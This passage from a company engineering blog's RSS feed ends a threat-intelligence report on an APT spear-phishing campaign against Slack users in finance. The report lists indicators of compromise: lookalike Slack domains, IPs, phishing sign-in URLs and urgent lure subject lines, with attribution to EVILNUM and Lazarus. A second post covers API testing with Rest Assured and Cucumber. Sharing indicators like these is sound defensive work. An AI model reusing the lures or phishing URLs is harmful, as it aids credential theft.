“Crucial.”</li><li>Presumed generation of subjects by an LLM model like ChatGPT.</li></ul><p><strong>IOCs</strong></p><p><strong>PRIMARY</strong></p><blockquote>Domain:slackcloud.network</blockquote><blockquote>Domain:slack-hub.com</blockquote><blockquote>Domain:slack-sso.com</blockquote><blockquote>Domain:slack-protect.com</blockquote><blockquote>Domain:gfylinks.com</blockquote><blockquote>Domain:badtastecru.co.uk</blockquote><blockquote>Domain:ssoslack.com</blockquote><blockquote>Domain:slack.com.slackcloud.network</blockquote><blockquote>Domain:slack.com.ssoslack.com</blockquote><blockquote>Domain:com.ssoslack.com</blockquote><blockquote>IP:44.227.65.245</blockquote><blockquote>IP:44.227.76.166</blockquote><blockquote>URL:http://com.ssoslack.com/signin</blockquote><blockquote>URL:http://slack.com.ssoslack.com/signin</blockquote><blockquote>URL:http://ssoslack.com/signin</blockquote><blockquote>URL:https://badtastecru.co.uk/jxp8g</blockquote><blockquote>URL:https://gfylinks.com/saa5l</blockquote><blockquote>URL:https://slack.com.slackcloud.network/signin#/signin</blockquote><blockquote>String:Take Immediate Action: Accept Your Latest Business Agreement on Slack!</blockquote><blockquote>String:Action Needed: Log in and Consent to the Revised Agreement on Communication!</blockquote><blockquote>String:Time-sensitive: Verify Your Company’s New Slack Deal Immediately!</blockquote><blockquote>String:Time’s Running Out: Recognize Your Recently Company Agreement on Slack!</blockquote><blockquote>String:URGENT: Approval Required for the Fresh Business Contract on Messaging!</blockquote><blockquote>String:Critical Mission: Acknowledge Your Business’s Latest Agreement on Communication!</blockquote><blockquote>String:Vital Update: Accept Your Recent Company Pact on Slack!</blockquote><blockquote>String:Crucial: Acknowledge the New Contract on Company’s Messaging!</blockquote><blockquote>String:Don’t Miss Out on This: Acknowledge Your Company’s Newest Agreement on Slack!</blockquote><blockquote>String:Act Now: Accept Your Newest Company Terms on Slack!</blockquote><blockquote>String:VITAL: Approval Required for the New Company Pact on Slack!</blockquote><blockquote>String:Respond Immediately: Validate Your Latest Corporate Agreement on Slack!</blockquote><blockquote>String:Critical Assignment: Validate Your Company’s Most Recent Agreement on Slack!</blockquote><blockquote>String:Critical Task: Confirm Your Company’s Newest Deal on Slack!</blockquote><blockquote>String:Important Update: Accept Your Most Recent Company Deal on Slack!</blockquote><blockquote>String:PRESSING: Approval Required for the New Company Agreement on Slack!</blockquote><blockquote>String:Urgent: Login and Endorse the Updated Agreement on Slack!</blockquote><blockquote>String:Essential Duty: Authorize Your Company’s Recent Contract on Messaging!</blockquote><p><strong>SECONDARY / ASSOCIATED</strong></p><blockquote>Domain:pa7ypal.com</blockquote><blockquote>Domain:connect-jnj.com</blockquote><blockquote>Domain:xhams6er.com</blockquote><blockquote>Domain:cooporatestock.com</blockquote><blockquote>Domain:whatsappweb.xyz</blockquote><blockquote>Domain:acess-logon-security.com</blockquote><blockquote>Domain:info-spedizioni-xme.com</blockquote><blockquote>Domain:recent-check-info.com</blockquote><blockquote>Domain:cpamvitaie-fr.com</blockquote><blockquote>Domain:superimarkets.com</blockquote><blockquote>Domain:covidvaxonline.com</blockquote><blockquote>Domain:review-transaction-attempt.com</blockquote><blockquote>Domain:pay7pal.com</blockquote><blockquote>Domain:gokcsbus.com</blockquote><blockquote>Domain:noblearab.com</blockquote><blockquote>Domain:portail-espace-sante.com</blockquote><blockquote>Domain:nqf279d0booy.fun</blockquote><blockquote>Domain:noodagency.com</blockquote><blockquote>Domain:cit1zens-portal.com</blockquote><blockquote>Domain:bhuiridh-gauge.com</blockquote><blockquote>Domain:revertinstruction.com</blockquote><blockquote>Domain:4pcstar.com</blockquote><blockquote>Domain:review-new-applogon.com</blockquote><blockquote>Domain:prodigalaudio.com</blockquote><blockquote>Domain:livespory.com</blockquote><blockquote>Domain:camvaclimlted.com</blockquote><blockquote>Domain:2kclass.com</blockquote><blockquote>Domain:1jdm.com</blockquote><blockquote>Domain:sykes-sso.com</blockquote><blockquote>Domain:ask-jnj.com</blockquote><blockquote>Domain:concrecapital.com</blockquote><blockquote>Domain:baidru.com</blockquote><blockquote>Domain:mo-s.online</blockquote><blockquote>Domain:checked-mobile-logon.com</blockquote><blockquote>Domain:hempenvalley.com</blockquote><blockquote>Domain:thecovidconspiracy.com</blockquote><blockquote>Domain:cryptochampion.game</blockquote><blockquote>Domain:manage-cyber-security.com</blockquote><blockquote>Domain:007.bond</blockquote><blockquote>Domain:azureservicesapi.com</blockquote><blockquote>Domain:palashtv.com</blockquote><blockquote>Domain:shareena.net</blockquote><blockquote>Domain:bagtroop.com</blockquote><blockquote>Domain:pharmerica.bar</blockquote><blockquote>Domain:mktrending.com</blockquote><blockquote>Domain:russ1ano.xyz</blockquote><blockquote>Domain:giftstrendy.com</blockquote><blockquote>Domain:manage-storedpayees109.com</blockquote><blockquote>Domain:rumat-circle.com</blockquote><blockquote>Domain:change-manage-add.com</blockquote><blockquote>Domain:jumphigherventures.com</blockquote><blockquote>Domain:10hoursleepsounds.com</blockquote><blockquote>Domain:02261988.xyz</blockquote><blockquote>Domain:2ody.com</blockquote><blockquote>Domain:2faweb3ga.xyz</blockquote><blockquote>Domain:att-rsa.com</blockquote><blockquote>Domain:02mbnwsxctgbp.xyz</blockquote><blockquote>Domain:austinpublicradio.com</blockquote><blockquote>Domain:deflsolutions.com</blockquote><blockquote>Domain:12bet1gom.com</blockquote><blockquote>Domain:13westy37.xyz</blockquote><blockquote>Domain:288908.xyz</blockquote><blockquote>Domain:german0.xyz</blockquote><blockquote>Domain:manage-added-attempted.com</blockquote><blockquote>Domain:dunyaservices.com</blockquote><blockquote>Domain:360lifeinabox.com</blockquote><blockquote>Domain:microsoft-sso.net</blockquote><blockquote>Domain:1gomkubet.com</blockquote><blockquote>Domain:orkney-circle.com</blockquote><blockquote>Domain:wellmarkhealth.com</blockquote><blockquote>Domain:226616.xyz</blockquote><blockquote>Domain:symantecq.com</blockquote><blockquote>Domain:bankbazaronline.com</blockquote><blockquote>Domain:fssd11asdflokmn.xyz</blockquote><blockquote>Domain:jeuriderspaceacprints.com</blockquote><blockquote>Domain:4yqw.com</blockquote><blockquote>Domain:new-info-added.com</blockquote><blockquote>Domain:covidvaxasap.com</blockquote><blockquote>Domain:uid-amazio0m.xyz</blockquote><blockquote>Domain:1gomw88.com</blockquote><blockquote>Domain:1drvmicrosoft.com</blockquote><blockquote>Domain:iopta.com</blockquote><blockquote>Domain:226616.com</blockquote><blockquote>Domain:arthot.com</blockquote><blockquote>Domain:covidvaxtoday.com</blockquote><blockquote>Domain:conferma-anagrafe-bpercard.com</blockquote><blockquote>Domain:rpoqgfw.xyz</blockquote><blockquote>Domain:1tal1ano.xyz</blockquote><blockquote>Domain:noticeyahoo-conf2.xyz</blockquote><blockquote>Domain:covidvaxcolombia.com</blockquote><blockquote>Domain:inside-aol.com</blockquote><blockquote>Domain:nichon18.rest</blockquote><blockquote>Domain:speculumlover.com</blockquote><blockquote>Domain:giottmart.com</blockquote><blockquote>Domain:0mud.quest</blockquote><blockquote>Domain:ivancarabantes.com</blockquote><blockquote>Domain:roysalbank.com</blockquote><blockquote>Domain:eliminate-corona.com</blockquote><blockquote>Domain:mon-portail-colissimo.com</blockquote><blockquote>Domain:att-mfa.com</blockquote><blockquote>Domain:acespec.org</blockquote><blockquote>Domain:sportline.one</blockquote><blockquote>Domain:viagrawallet.org</blockquote><blockquote>Domain:noipv6.wtf</blockquote><blockquote>Domain:sparkasse.wiki</blockquote><blockquote>Domain:vtb-tech.info</blockquote><blockquote>Domain:adaloappdocs.top</blockquote><blockquote>Domain:usp-blauder.us</blockquote><blockquote>Domain:nikologios.wiki</blockquote><blockquote>Domain:discounthouse.zone</blockquote><blockquote>Domain:walletmanagements.com</blockquote><blockquote>Domain:dlsneyplus-at.info</blockquote><blockquote>Domain:3fw51.buzz</blockquote><blockquote>Domain:review-confirmation-app.info</blockquote><blockquote>Domain:adam2christ.org</blockquote><blockquote>Domain:batcoin.biz</blockquote><blockquote>Domain:banca-sella.co</blockquote><blockquote>Domain:usp-saco.us</blockquote><blockquote>Domain:mlcrosoft.info</blockquote><blockquote>Domain:ca-ref12786378993290038.cloud</blockquote><blockquote>Domain:deny-logon-attempted.info</blockquote><blockquote>Domain:16206.tel</blockquote><blockquote>Domain:covidhistory.org</blockquote><blockquote>Domain:bottom.wiki</blockquote><blockquote>Domain:mon-espace-sfr.org</blockquote><blockquote>Domain:1k67s.buzz</blockquote><blockquote>Domain:1001tutorialjahitan.buzz</blockquote><blockquote>Domain:vivaless.buzz</blockquote><blockquote>Domain:jessica-and-daniel.nyc</blockquote><blockquote>Domain:operation-handling.info</blockquote><blockquote>Domain:aiou.io</blockquote><blockquote>Domain:dlsneyplus-app.info</blockquote><blockquote>Domain:usp-mingodix.us</blockquote><blockquote>Domain:removeaddin.info</blockquote><blockquote>Domain:anpost-review.info</blockquote><blockquote>Domain:glass.house</blockquote><blockquote>Domain:yd1s.top</blockquote><blockquote>Domain:berrybull.us</blockquote><blockquote>Domain:purbno.us</blockquote><blockquote>Domain:usp-daliver.us</blockquote><blockquote>Domain:check-active-app.info</blockquote><blockquote>Domain:documentshare.info</blockquote><blockquote>Domain:mathlab.info</blockquote><blockquote>Domain:usp-yinoksuz.us</blockquote><blockquote>Domain:analyze-resolve.info</blockquote><blockquote>Domain:coviddeaths.foundation</blockquote><blockquote>Domain:godofwar.buzz</blockquote><p><strong>Possible Attribution</strong></p><p>The infrastructure used for this campaign is recycled, having been part of previous campaigns. While the domains are new, the linked IP addresses have more than 100 mentions on the AlienVault OTX platform [2] [3].</p><p>After an analysis with the <a href="https://github.com/mauroeldritch/bIOChip">bIOChip</a> tool [6], I found links to Advance Persistent Threats (APTs) <a href="https://attack.mitre.org/groups/G0120/">EVILNUM</a> (mostly) [4] [5] and <a href="https://attack.mitre.org/groups/G0032/">Lazarus</a> (secondarily) [8] [9]. Remember that the domains used in the QRLog campaign by Lazarus were also hosted on Porkbun, a noteworthy detail.</p><p><strong>bIOChip Output</strong></p><blockquote><em>⚠️ </em>Report for concrecapital.com: Malicious activity found.</blockquote><blockquote><em>🥷🏻 </em>Domain is linked to known adversaries:</blockquote><blockquote>* Lazarus (1)</blockquote><blockquote><em>☣️ </em>Domain is linked to malware activity:</blockquote><blockquote>* WifiCloudWidget (1)</blockquote><blockquote>* Targeted: Crypto.com (1)</blockquote><blockquote>* Targeted: Coinbase (1)</blockquote><blockquote><em>⚠️ </em>Report for superimarkets.com: Malicious activity found.</blockquote><blockquote><em>☣️ </em>Domain is linked to malware activity:</blockquote><blockquote>* VileLoader (1)</blockquote><blockquote>* DeathStalker (1)</blockquote><blockquote>* Stonefly (1)</blockquote><blockquote>* Maui (1)</blockquote><blockquote>* EVILNUM (1)</blockquote><blockquote><em>⚠️ </em>Report for 1jdm.com: Malicious activity found.</blockquote><blockquote><em>☣️ </em>Domain is linked to malware activity:</blockquote><blockquote>* AM (1)</blockquote><blockquote>* Agent Tesla (1)</blockquote><blockquote>* Malware (1)</blockquote><blockquote>* Tulach Malware (1)</blockquote><blockquote>* adware.pcappstore/veryfast (1)</blockquote><blockquote>* NSIS (1)</blockquote><blockquote>* Static AI — Malicious PE (1)</blockquote><blockquote>* HoneyPot (1)</blockquote><blockquote><em>⚠️ </em>Report for azureservicesapi.com: Malicious activity found.</blockquote><blockquote><em>☣️ </em>Domain is linked to malware activity:</blockquote><blockquote>* VileLoader (1)</blockquote><blockquote>* DeathStalker (1)</blockquote><blockquote>* Stonefly (1)</blockquote><blockquote>* Maui (1)</blockquote><blockquote>* EVILNUM (1)</blockquote><blockquote><em>⚠️ </em>Report for symantecq.com: Malicious activity found.</blockquote><blockquote><em>☣️ </em>Domain is linked to malware activity:</blockquote><blockquote>* VileLoader (1)</blockquote><blockquote>* DeathStalker (1)</blockquote><blockquote>* Stonefly (1)</blockquote><blockquote>* Maui (1)</blockquote><blockquote>* EVILNUM (1)</blockquote><blockquote><em>⚠️ </em>Report for slack-sso.com: Malicious activity found.</blockquote><blockquote><em>🥷🏻 </em>Domain is linked to known adversaries:</blockquote><blockquote>* Evilnum (1)</blockquote><blockquote><em>☣️ </em>Domain is linked to malware activity:</blockquote><blockquote>* EVILNUM (1)</blockquote><blockquote><em>⚠️ </em>Report for slack-hub.com: Malicious activity found.</blockquote><blockquote><em>🥷🏻 </em>Domain is linked to known adversaries:</blockquote><blockquote>* Evilnum (1)</blockquote><blockquote><em>☣️ </em>Domain is linked to malware activity:</blockquote><blockquote>* EVILNUM (1)</blockquote><blockquote><em>⚠️ </em>Report for slack-protect.com: Malicious activity found.</blockquote><blockquote><em>🥷🏻 </em>Domain is linked to known adversaries:</blockquote><blockquote>* Evilnum (1)</blockquote><blockquote><em>☣️ </em>Domain is linked to malware activity:</blockquote><blockquote>* EVILNUM (1)</blockquote><p><strong>About EVILNUM</strong></p><p>Evilnum, DeathStalker, TA4563, or Knockout Spider is an advanced threat actor focused on victims in the financial sector and cryptocurrencies. First observed in 2017, it remains active. It is known for employing Spear Phishing among its TTPs (Tactics, Techniques, Procedures) and using its toolset, including PyVil RAT (a Python-written Trojan) and EVILNUM. It has also been observed using third-party tools like More_Eggs and open-source tools like LaZagne [7].</p><p>It has links with Golden Chickens, providers of MaaS (malware as a service).</p><p><strong>Conclusions</strong></p><p>In conclusion, this targeted Spear Phishing campaign demonstrated sophistication, affirming its bespoke nature over a random, mass-spamming attempt. The potential consequences were significant despite using less refined language and recycled infrastructure. The incident highlights the crucial role of threat intelligence, emphasizing the necessity for swift and extensive sharing to defend against advanced threats effectively.</p><p>We must remember that the “P” in APT is for “Persistent”, so it’s vital to predict that this campaign might change and come back with a different focus but still operated by the same actor.</p><p><strong>Acknowledgments</strong></p><p><strong>Luis Noriega, Nelson Colón &amp; Emilio Revelo from the Information Security Team actively participated in this investigation.</strong> <strong>Rob Harrop</strong> for his corrections.</p><p><strong>References</strong></p><ol><li><a href="https://otx.alienvault.com/pulse/65a00d8fd54e59676ca9d3c0">AlienVault OTX Intelligence Pulse on the campaign</a></li><li><a href="https://otx.alienvault.com/indicator/ip/44.227.65.245">AlienVault OTX Intelligence Pulses on infrastructure</a></li><li><a href="https://otx.alienvault.com/indicator/ip/44.227.76.166">AlienVault OTX Intelligence Pulses on infrastructure</a></li><li><a href="https://falcon.us-2.crowdstrike.com/intelligence-v2/actors/knockout-spider/summary">CrowdStrike Falcon profile of EVILNUM</a></li><li><a href="https://attack.mitre.org/groups/G0120/">EVILNUM profile on Mitre</a></li><li><a href="https://github.com/mauroeldritch/bIOChip">bIOChip</a></li><li><a href="https://attack.mitre.org/software/S0568/">EVILNUM Toolset on Mitre</a></li><li><a href="https://attack.mitre.org/groups/G0032/">Lazarus profile on Mitre</a></li><li><a href="https://falcon.us-2.crowdstrike.com/intelligence-v2/actors/labyrinth-chollima/summary">CrowdStrike Falcon profile of Lazarus: Labyrinth Chollima</a></li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9389533d5fc2" width="1" height="1" alt=""><hr><p><a href="https://medium.com/bitso-engineering/profiling-disrupting-an-apt-spear-phishing-campaign-targeting-slack-users-in-the-financial-sector-9389533d5fc2">Profiling &amp; Disrupting an APT Spear Phishing Campaign Targeting Slack users in the Financial Sector</a> was originally published in <a href="https://medium.com/bitso-engineering">bitso.engineering</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[API Tests using Rest Assured and Cucumber]]></title>
            <link>https://medium.com/bitso-engineering/api-tests-using-rest-assured-and-cucumber-a72638535b99?source=rss----65285b9fc432---4</link>
            <guid isPermaLink="false">https://medium.com/p/a72638535b99</guid>
            <category><![CDATA[cucumber]]></category>
            <category><![CDATA[restassured]]></category>
            <category><![CDATA[testing]]></category>
            <category><![CDATA[quality-assurance]]></category>
            <category><![CDATA[automated-testing]]></category>
            <dc:creator><![CDATA[Bitso QA Team]]></dc:creator>
            <pubDate>Mon, 18 Dec 2023 14:05:01 GMT</pubDate>
            <atom:updated>2023-12-18T14:05:01.345Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I_v3Mu-llbqCXR-VmXmy7w.jpeg" /></figure><h3>Background</h3><p>API test automation is vital to Bitso’s software development life cycle. Due to a shift in our language preference, we moved away from Pytest and evaluated alternatives like Spock, Micronaut and Rest Assured. <a href="https://rest-assured.io/">Rest Assured</a> emerged as the most practical choice in this exploration for its complete and simple combination of functionality.</p><p>A key strength of Rest Assured lies in its unique ability to engage developers actively in the testing process. Its Java-centric approach fosters developer involvement and establishes a seamless connection with the application’s codebase. This integration results in more effective testing practices, elevating the quality of the delivered software.</p><p>The declarative syntax of Rest Assured is another standout feature, significantly improving the readability and flow of our API test scripts. This clarity simplifies collaboration within the team, empowering members to understand and contribute to developing test scripts efficiently. Rest Assured’s approach to simplicity and robustness, coupled with a thorough analysis of alternative tools, firmly positions it as the cornerstone of our API test automation strategy at Bitso.</p><h3>Cucumber</h3><p>The decision to transition away from using Pytest as the stack for integration tests allowed us to explore alternatives that could enhance our testing processes. We aimed to address specific challenges, including:</p><ul><li><strong>Collaboration:</strong> Given that the team consisted mainly of Java developers, there was a learning curve for them to contribute effectively to the test implementation.</li><li><strong>Readability:</strong> How tests were written posed a challenge for non-technical team members, such as product managers, to understand them quickly.</li><li><strong>Reusability:</strong> While Pytest allowed for the reuse of specific methods, there were cases where duplicating tests and steps became necessary.</li><li><strong>Costs:</strong> As a general guideline, we sought open-source tools to manage costs effectively.</li></ul><p>Considering these criteria, we evaluated various tools, and Cucumber emerged as a fitting choice for our needs. Cucumber is an open-source testing framework that has gained prominence in software development and quality assurance, particularly in Behavior-Driven Development (BDD). BDD is an agile methodology that promotes collaboration between non-technical stakeholders and technical teams throughout the software development process.</p><p>At its core, Cucumber provides the capabilities to express and automate software testing, ensuring that it aligns with the desired behavior and functionality. What sets Cucumber apart is its use of the Gherkin language, a domain-specific language that allows the creation of plain-text descriptions of software behavior. These descriptions, known as “feature files” are the basis for automated tests.</p><p>With Cucumber and BDD, it’s possible to write test scenarios in collaboration with business analysts and other stakeholders, fostering a common language that both technical and non-technical team members can understand. This improves communication and results in more effective and maintainable automated tests that reflect the true intent of the software requirements.</p><h3>Test Structure and Organization</h3><h4><strong>Feature Files:</strong></h4><p>Test descriptions, which are the building blocks of Cucumber test scenarios, are available in the feature files. They serve as a blueprint for how the software should behave under different conditions. These specifications use the <a href="https://cucumber.io/docs/gherkin/">Gherkin</a> syntax, a highly readable language designed to be understood by non-technical stakeholders. It uses keywords like Given, When, Then, And, and But to define test steps, making it easy for everyone involved in the development process to contribute to testing scenarios. For example:</p><pre>Given a user already has a valid quote ID<br>When the user accepts the quotation<br>And a user wants to know the status of the transfer<br>Then the response returns the status of the transfer</pre><h4><strong>Step Definitions</strong></h4><p>Step definitions are a vital component of the Cucumber testing framework. They are the code implementation of the plain-language steps defined in the feature files. These step definitions are the actions that correspond to the Given, When, Then, And and But steps in the feature file. They establish the link between the plain language of the feature file and the actual code execution.</p><h3>Assertions</h3><p>Assertions are essential for test automation frameworks, serving as critical checkpoints to validate expected outcomes against actual results. There are different ways to address test assertions, like JUnit; we decided to go with <a href="https://rest-assured.io/">RestAssured</a> and <a href="https://hamcrest.org/JavaHamcrest/">Hamcrest</a>, since they provide built-in methods to assert conditions such as the HTTP status code, response headers, and the response body’s content. RestAssured assertions are less verbose, giving direct access to data, it provides idiomatic methods for arranging and asserting HTTP APIs, helping to ensure the readability and maintainability of the tests. Example:</p><pre>user.getResponse().then()<br>  .assertThat()<br>  .statusCode(201)<br>  .body(&quot;success&quot;, equalTo(true))<br>  .body(&quot;payload.parameter_a&quot;, equalTo(&quot;1&quot;))<br>  .body(&quot;payload.parameter_b&quot;, notNullValue())))<br>  .body(&quot;payload.parameter_c&quot;, equalTo(&quot;API Test&quot;))</pre><p>We configure our test executions to run in the stage environment. The tests are automatically triggered upon successful deployment to the stage environment and clearance of all build and unit tests. This process signifies the readiness of the changes for further evaluation in a production-like setting.</p><p>Here’s an overview of when our tests take place:</p><figure><img alt="A sequencial flow with the following boxes: -Successful deployment of PR in stage -Execution of Cucumber tests -Upload of test results report to GitHub Actions -Addition of results message to PR" src="https://cdn-images-1.medium.com/max/1024/1*FlLzUNM1vUut9fOYW0bMfA.png" /></figure><p><strong>Executing Cucumber Tests</strong> <br>The successful deployment of a PR to the stage environment automatically triggers our Cucumber tests. Although we always run these tests, we don’t block the PR merge, as external circumstances could cause test errors. However, making these tests a prerequisite for merging adds a layer of evaluation before any changes transition to the production environment.</p><p><strong>Uploading Test Results<br></strong>As part of our testing process, we upload these test results to GitHub Actions, ensuring transparency and maintaining a comprehensive record of test outcomes. This helps us keep an eye on the quality of the changes and makes sure the software stays stable.</p><p><strong>Commenting on PR<br></strong>Upon the conclusion of the testing phase, an automated comment is promptly appended to the PR. This comment serves as a concise summary of the test results, facilitating communication within the team and ensuring that all members are well-informed about the test outcomes.</p><figure><img alt="Two comment on a Github Pull Request, the first one informing that the tests failed and the second informing that the tests passed." src="https://cdn-images-1.medium.com/max/1024/0*z1qgaqx_EVIAUxA_" /><figcaption>Comments attached to the PR informing test&#39;s result</figcaption></figure><p>This approach enhances our quality by ensuring that new code won’t break core features. The tests run basic scenarios and offer essential confidence that the software remains stable, ultimately contributing to a better developer and deployment experience.</p><h3>Next Steps</h3><p>In our upcoming steps, we plan to support adopting this flow and solution in more projects. This expansion will ensure consistent testing practices and promote the scalability and versatility of our testing framework. On this journey, we will assess whether the solution we have developed so far can smoothly integrate with different projects.</p><p>Additionally, we aim to centralize shared steps within a library, such as authentication and endpoint status checks. This library will be accessible for implementation in any of our projects, streamlining the testing process and enhancing efficiency.</p><p>This post was created by <a href="https://medium.com/u/a2074d2d0bed">Daniel Mariotti</a>, <a href="https://medium.com/u/1a90af0ff719">Erick Reyes</a> and <a href="https://medium.com/u/246421162a1a">Nelson Gutierrez</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a72638535b99" width="1" height="1" alt=""><hr><p><a href="https://medium.com/bitso-engineering/api-tests-using-rest-assured-and-cucumber-a72638535b99">API Tests using Rest Assured and Cucumber</a> was originally published in <a href="https://medium.com/bitso-engineering">bitso.engineering</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>